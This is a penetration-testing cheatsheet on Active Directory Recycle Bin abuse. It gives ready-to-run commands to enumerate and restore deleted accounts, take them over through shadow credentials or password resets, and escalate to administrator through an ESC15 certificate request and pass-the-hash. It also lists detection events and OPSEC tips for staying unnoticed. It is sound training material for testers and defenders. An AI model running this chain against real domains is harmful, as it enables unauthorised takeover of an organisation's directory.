daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ad-recycle-bin-enumeration.md (18691B)


      1 ---
      2 title: "AD Recycle Bin Enumeration & Deleted-Object Recovery"
      3 description: "Find and restore deleted AD accounts from the Recycle Bin four ways — native Get-ADObject, PowerView's tombstone searcher, bloodyAD and ldapsearch — tell duplicate tombstones apart by SID, and turn a restored object's hidden rights (group membership, ADCS enrolment) into escalation."
      4 category: active-directory
      5 subcategory: "Tooling & Recon"
      6 tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, bloodyad, powerview, certipy, reanimation, detection, opsec, netexec, ldap3]
      7 tools: ["Get-ADObject / Restore-ADObject", "PowerView (Get-DomainSearcher)", "bloodyAD", "ldapsearch", "Certipy", "ldap3 (python)", "netexec/nxc"]
      8 difficulty: intermediate
      9 updated: "2026-09-25"
     10 source: "vault:05CPTS-Preperation/TombWatcher"
     11 ---
     12 
     13 # AD Recycle Bin Enumeration & Deleted-Object Recovery
     14 
     15 The AD Recycle Bin keeps deleted objects **restorable with their SID, group memberships and rights intact**. That makes a deleted account a real attack surface: an object can be "gone" from the live directory yet still hold an ACL edge or a certificate-enrolment right that a restore hands straight to you. This card covers **enumerating and restoring** deleted objects four ways — native PowerShell, PowerView, `bloodyAD`, `ldapsearch` — and turning a restored object into escalation.
     16 
     17 > [!tip] The tell — an unresolved SID that still holds rights
     18 > In BloodHound (or any ACL dump), a **raw SID with no principal name** that owns an edge — `GenericAll`, `WriteOwner`, an `Enroll` on a cert template — is the classic signature of a **deleted object**. If you also control its container (`GenericAll` over the OU), you can restore it and inherit whatever it held. That is the cue to look in the Recycle Bin.
     19 
     20 ## Set the context
     21 
     22 ```bash
     23 DC=10.10.10.10                 # a domain controller
     24 DOMAIN=corp.local
     25 BASE='DC=corp,DC=local'
     26 U=lowpriv ; P='Password123!'    # any account that can read the directory
     27 ```
     28 
     29 ## 1 · Is the Recycle Bin enabled?
     30 
     31 ```powershell
     32 Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | Format-Table name,EnabledScopes
     33 ```
     34 
     35 If `EnabledScopes` is populated, deleted objects restore with **all** attributes and links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate, which is enough to find and (often) restore them.
     36 
     37 ## Lifecycle — tombstone vs Recycle Bin (what survives, how long)
     38 
     39 Deletion has **two very different afterlives**, and which one you're in decides what a restore actually gives back.
     40 
     41 ```text
     42 Recycle Bin ENABLED:
     43   live ──delete──▶ DELETED object          ──▶ RECYCLED object        ──▶ GC-purged
     44                    isDeleted=TRUE               isRecycled=TRUE
     45                    ALL attrs + links kept       stripped to preserved set
     46                    fully restorable             NOT restorable
     47                    for msDS-deletedObjectLifetime    then tombstoneLifetime
     48 
     49 Recycle Bin DISABLED:
     50   live ──delete──▶ TOMBSTONE                ──▶ GC-purged
     51                    isDeleted=TRUE
     52                    stripped to preserved set
     53                    reanimatable (empty shell)
     54                    for tombstoneLifetime
     55 ```
     56 
     57 Both lifetimes live on the Directory Service object and default to **180 days**:
     58 
     59 ```powershell
     60 # unset msDS-deletedObjectLifetime falls back to tombstoneLifetime
     61 $cfg = (Get-ADRootDSE).configurationNamingContext
     62 Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,$cfg" `
     63   -Properties tombstoneLifetime,msDS-deletedObjectLifetime |
     64   Format-List tombstoneLifetime,msDS-deletedObjectLifetime
     65 ```
     66 
     67 ```bash
     68 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -s base \
     69   -b 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' \
     70   '(objectClass=*)' tombstoneLifetime msDS-deletedObjectLifetime
     71 ```
     72 
     73 | Attribute / link | Tombstone (bin OFF) | Deleted object (bin ON) |
     74 |---|---|---|
     75 | `objectSid`, `objectGUID` | kept | kept |
     76 | `sAMAccountName` | kept | kept |
     77 | `userAccountControl` | **stripped** (reanimates disabled) | kept |
     78 | `lastKnownParent`, `msDS-LastKnownRDN` | kept | kept |
     79 | `sIDHistory` | kept | kept |
     80 | `nTSecurityDescriptor` | kept | kept |
     81 | **group membership** (`memberOf` / link-values) | **stripped** | **kept** |
     82 | password (`unicodePwd`), most other attrs | **stripped** | **kept** |
     83 
     84 > [!info] Lifetimes default to the tombstone value
     85 > If `msDS-deletedObjectLifetime` is never set it inherits `tombstoneLifetime`; if that is also null the forest default applies (**180 days** on any forest built on Server 2003 SP1+, 60 on ancient ones). A deleted object only stays *fully* restorable for `msDS-deletedObjectLifetime` — after that it is **recycled** (stripped) and a restore returns an empty shell, exactly like the bin-OFF tombstone case.
     86 
     87 > [!warning] Two controls: Show Deleted (417) vs Show Recycled (2064)
     88 > `1.2.840.113556.1.4.417` (Show Deleted) returns objects still in the recoverable *deleted* state — the ones you want. `1.2.840.113556.1.4.2064` (Show Recycled) is a superset that ALSO returns fully *recycled* (stripped, unrestorable) objects. Either surfaces `isDeleted=TRUE`; use 2064 when you also want to see what has aged past `deletedObjectLifetime`. Of the §2 methods, only the **bloodyAD** (§2C) and **ldapsearch** (§2D) examples attach 2064; the ldap3 snippet (§2E) and the native `Get-ADObject -IncludeDeletedObjects` / PowerView `.Tombstone` paths use Show Deleted (417) under the hood, so they return recoverable deleted objects but not fully-recycled ones.
     89 
     90 ## 2 · Enumerate the Recycle Bin — four ways
     91 
     92 Pick whichever matches your foothold. Always pull `objectSid` and `lastKnownParent` so duplicate copies can be told apart (see §3).
     93 
     94 ### A · Windows PowerShell — native, no PowerView
     95 
     96 The `ActiveDirectory` module ships on every DC (and any host with RSAT). `-IncludeDeletedObjects` is the switch:
     97 
     98 ```powershell
     99 Import-Module ActiveDirectory
    100 Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' `
    101   -IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN |
    102   Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent
    103 # target one by its old name:
    104 Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=<name>)' -IncludeDeletedObjects -Properties *
    105 ```
    106 
    107 ### B · Windows PowerShell — with PowerView
    108 
    109 PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a `Get-DomainSearcher`, flip `.Tombstone`, then `FindAll()`:
    110 
    111 ```powershell
    112 Import-Module .\PowerView.ps1
    113 $ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))'
    114 $ds.Tombstone = $true          # adds the LDAP "Show Deleted Objects" control
    115 $ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent'))
    116 $ds.FindAll() | ForEach-Object { $_.Properties }
    117 ```
    118 
    119 > [!warning] With PowerView, `Get-DomainObject` will NOT show them
    120 > `Get-DomainObject` / `Get-DomainUser` build a searcher **without** the tombstone control, so the bin looks empty and you conclude there's nothing there — the trap that wastes time. You must drop to the raw `Get-DomainSearcher` + `.Tombstone = $true` above. PowerView also cannot **restore** an object — for that, fall back to native `Restore-ADObject` or bloodyAD (§4). When the `ActiveDirectory` module is present, native (A) is one line and does both halves, so prefer it.
    121 
    122 ### C · Linux — bloodyAD (no upload, no shell)
    123 
    124 `1.2.840.113556.1.4.2064` is the LDAP *Show Recycled* control (the superset — it also returns fully-recycled objects; the plain Show Deleted control is `417`):
    125 
    126 ```bash
    127 bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" \
    128   get search -c 1.2.840.113556.1.4.2064 \
    129   --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent
    130 # works with a hash too:  -p ':<nthash>'
    131 ```
    132 
    133 ### D · Linux — ldapsearch
    134 
    135 Same control by OID; the leading `!` marks it critical:
    136 
    137 ```bash
    138 ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "$BASE" \
    139   -E '!1.2.840.113556.1.4.2064' \
    140   '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN
    141 ```
    142 
    143 ### E · Portable primitive — the Show Deleted control from any language
    144 
    145 Every method above is just attaching one LDAP control to a search. From Python it works anywhere — no RSAT, no binary to drop:
    146 
    147 ```python
    148 from ldap3 import Server, Connection, SUBTREE
    149 from ldap3.protocol.microsoft import show_deleted_control   # OID 1.2.840.113556.1.4.417
    150 
    151 c = Connection(Server("ldap://10.10.10.10"),
    152                user="corp\\lowpriv", password="Password123!", auto_bind=True)
    153 c.search("DC=corp,DC=local", "(isDeleted=TRUE)", search_scope=SUBTREE,
    154          attributes=["msDS-LastKnownRDN", "objectSid", "lastKnownParent"],
    155          controls=[show_deleted_control(criticality=True)])
    156 for e in c.entries:
    157     print(e["objectSid"], e["msDS-LastKnownRDN"], e["lastKnownParent"])
    158 ```
    159 
    160 > [!warning] netexec/nxc won't see the bin by default
    161 > `nxc ldap $DC -u "$U" -p "$P" --query '(isDeleted=TRUE)' 'objectSid lastKnownParent'` runs an ordinary search **without** the Show Deleted control, so it comes back empty and looks like nothing was deleted — the same trap as PowerView's `Get-DomainObject`. For deleted objects use bloodyAD / ldapsearch / the ldap3 snippet above, which attach the control. nxc's place here is confirming reachability and authenticating **as** the account once it is restored (`nxc smb $DC -u <restored> -p '<pw>'`).
    162 
    163 ## 3 · Tell duplicate copies apart
    164 
    165 A name that was deleted more than once leaves **several tombstones with the same `msDS-LastKnownRDN`, differing only by RID** in `objectSid`. Only one may carry the right you want, so do not restore blindly:
    166 
    167 | Deleted object | objectSid (RID) | Notes |
    168 |---|---|---|
    169 | `<name>` (copy 1) | `S-1-5-21-…-1109` | no useful rights |
    170 | `<name>` (copy 2) | `S-1-5-21-…-1110` | no useful rights |
    171 | `<name>` (copy 3) | `S-1-5-21-…-1111` | holds the `Enroll` / ACL edge |
    172 
    173 > [!tip] Match the SID to the edge before restoring
    174 > Take the **raw SID from the BloodHound edge** (the unresolved principal from the tell above) and match it to the `objectSid` column from §2. `msDS-LastKnownRDN` gives the old name, `lastKnownParent` the OU it returns to. Restore only the SID that carries the edge — restoring the wrong RID gives you an account with none of the rights.
    175 
    176 ## 4 · Restore and take over
    177 
    178 ```bash
    179 # Linux — restore the exact SID that owns the edge
    180 bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set restore 'S-1-5-21-…-1111'
    181 ```
    182 
    183 ```powershell
    184 # Windows — restore natively. Easiest: filter the bin by the SID that owns the
    185 # edge and pipe straight to Restore-ADObject (no need to copy the mangled DN):
    186 Get-ADObject -Filter "objectSid -eq 'S-1-5-21-…-1111'" -IncludeDeletedObjects | Restore-ADObject
    187 # or restore by the deleted-object DN (from Get-ADObject -IncludeDeletedObjects):
    188 Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>'
    189 # confirm it came back, enabled, under its old OU:
    190 Get-ADUser -Identity <restored> | Select-Object SamAccountName,Enabled,DistinguishedName
    191 ```
    192 
    193 If you control the restored object (e.g. `GenericAll` over its OU covers restored children too), take it over — reset the password or add shadow credentials:
    194 
    195 ```bash
    196 certipy-ad shadow auto -target "$DC" -u "$U@$DOMAIN" -p "$P" -account <restored>
    197 # or:  bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set password <restored> '<NewPass123!>'
    198 ```
    199 
    200 ### What `set restore` actually does (reanimation under the hood)
    201 
    202 Reanimation is **one LDAP modify** — there is no dedicated "restore" verb in LDAP. bloodyAD `set restore` (and `Restore-ADObject`) read the deleted object's `lastKnownParent` + `msDS-LastKnownRDN`, rebuild the original DN, then send the modify below, carrying the Show Deleted control so the DC lets them touch a deleted object:
    203 
    204 ```ldif
    205 dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local
    206 changetype: modify
    207 delete: isDeleted
    208 -
    209 replace: distinguishedName
    210 distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local
    211 ```
    212 
    213 ```bash
    214 # the same thing by hand (control 417 marked critical). The DEL:GUID mangling in the
    215 # DN is literal; grab the exact deleted DN from your §2 enumeration and paste it in.
    216 ldapmodify -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -e '!1.2.840.113556.1.4.417' <<'LDIF'
    217 dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local
    218 changetype: modify
    219 delete: isDeleted
    220 -
    221 replace: distinguishedName
    222 distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local
    223 LDIF
    224 ```
    225 
    226 > [!info] A reanimated tombstone comes back as a disabled, empty shell
    227 > Clearing `isDeleted` and setting the new DN is *all* reanimation does — it does not rebuild stripped attributes. From a bin-OFF tombstone the account returns **disabled, with no password and no group membership**, so you must enable it, reset the password and re-add groups (each separately logged). A bin-ON *deleted* object restores with password, SPNs and memberships intact and in its prior enabled/disabled state — that gap is the whole reason §1's feature check matters.
    228 
    229 ## 5 · Turn the restored object into escalation
    230 
    231 A restored account brings back **rights the live tree was hiding** — group membership, ACL edges, or certificate-template enrolment. The common payoff is a restored **ADCS enrollee** on a vulnerable template:
    232 
    233 ```bash
    234 # enumerate templates as the restored principal
    235 certipy-ad find -target "$DC" -u <restored>@$DOMAIN -p '<pw>' -vulnerable -stdout
    236 # e.g. ESC15 (CVE-2024-49019) on a schema-v1 template that supplies its own subject:
    237 certipy-ad req -u <restored>@$DOMAIN -p '<pw>' -dc-ip "$DC" -target "$DC" \
    238   -ca '<CA-NAME>' -template '<VULN-TEMPLATE>' \
    239   -upn administrator@$DOMAIN -application-policies 'Client Authentication'
    240 certipy-ad auth -pfx administrator.pfx -username administrator -domain "$DOMAIN" -dc-ip "$DC"
    241 # -> Administrator NT hash -> pass-the-hash
    242 ```
    243 
    244 Other payoffs from a restored object: it may still be a member of a privileged group, own another principal via an ACL edge, or hold a `servicePrincipalName` (kerberoast). Re-run BloodHound as the restored identity to see what it unlocks.
    245 
    246 ## Blue-team detection & OPSEC
    247 
    248 Enumeration and restore look completely different to a defender: one is a read, the other rewrites the directory and replicates.
    249 
    250 | Event ID | Log / subcategory | Fires when |
    251 |---|---|---|
    252 | **4662** | Security — needs a SACL on `CN=Deleted Objects` (**not** default) | someone **reads / enumerates** the Deleted Objects container |
    253 | **5138** | Directory Service Changes | object **undeleted** — the precise reanimation event |
    254 | **5139** | Directory Service Changes | object **moved** (the DN change part of the restore) |
    255 | **5136** | Directory Service Changes | object **modified** (`isDeleted` cleared, later attribute writes) |
    256 | **5137** | Directory Service Changes | object **created** (a fresh create, not a reanimation) |
    257 | **4722 / 4738** | Security | restored **user** enabled / changed afterward |
    258 | **4741 / 4742** | Security | restored **computer** account created / changed afterward |
    259 | **4728 / 4732 / 4756** | Security | restored principal re-added to a privileged group |
    260 
    261 > [!warning] OPSEC — enumerate freely, restore deliberately
    262 > **Enumeration is quiet.** A Show-Deleted search is an ordinary LDAP read; 4662 only fires if someone placed a SACL on the Deleted Objects container, which is rare, so listing the bin usually leaves nothing behind. **Restore is loud and stateful.** It writes to the directory (5138 undelete / 5139 move / 5136 modify wherever Directory Service Changes auditing is on), replicates to every DC, and — the part no tooling can hide — makes a "dead" account visibly **reappear**, so any admin or SIEM watching account lifecycle sees a resurrection. Pick the exact SID from §3 first, restore once, use it fast, and expect it to be noticed.
    263 
    264 ## Takeaways
    265 
    266 > [!tip] Recycle-Bin habit
    267 > - **Unresolved SID with an ACL/Enroll edge → look in the Recycle Bin.**
    268 > - Enumerate with `Get-ADObject -IncludeDeletedObjects` (native) or the Show Recycled control `1.2.840.113556.1.4.2064` (bloodyAD/ldapsearch). With PowerView you must use `Get-DomainSearcher` + `.Tombstone = $true` — `Get-DomainObject` **won't** show deleted objects.
    269 > - When duplicates exist, **match `objectSid` to the edge's SID** before restoring.
    270 > - `GenericAll` over an OU covers **restored** objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast).
    271 > - **Enumeration is a quiet read; restore is a logged write** — reanimation fires Event **5138** (undelete) + 5139/5136 and resurrects a visible account, so restore only the one SID you need.
    272 
    273 ## Troubleshooting
    274 
    275 | Problem | Cause & fix |
    276 |---------|-------------|
    277 | `Get-ADObject -IncludeDeletedObjects` returns nothing | The Recycle Bin (or the tombstone window) may be empty, or you lack read on the Deleted Objects container. Confirm the feature state first (section 1) |
    278 | Deleted object is missing attributes you need | Tombstoning strips most attributes; the Recycle Bin preserves them. If an attribute is gone, the object tombstoned *before* the bin was enabled — it cannot be recovered |
    279 | `Restore-ADObject : access denied` | You have read but not the `Reanimate-Tombstones` extended right / write on the object. Enumeration is a read; restore is a privileged write |
    280 | Two deleted objects share a name | Expected — each deletion appends `\0ADEL:<GUID>`. Disambiguate on `objectSid`, not on `name` (section 3) |
    281 | PowerView `Get-DomainObject` shows no deleted objects | By design. Use `Get-DomainSearcher` with `.Tombstone = $true`, or the native cmdlet / LDAP control instead |
    282 | `ldapsearch` returns live objects only | The Show-Deleted control is not set. Pass `-E '!1.2.840.113556.1.4.417'` (or bloodyAD's `--include-deleted`) to see tombstoned entries |
    283 | Restored account cannot log on | Reanimated accounts come back **disabled** with no password. Enable it and reset the password (with the rights the restore gave you) before use |
    284 
    285 ## See Also
    286 
    287 - **[Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native)** — the live-object counterpart to this deleted-object workflow.
    288 - **[ADCS & Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)** — a restored object with enrolment rights feeds straight into ESC chains.
    289 - **[ACL & Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)** — how `GenericAll` over an OU converts a restore into takeover.
    290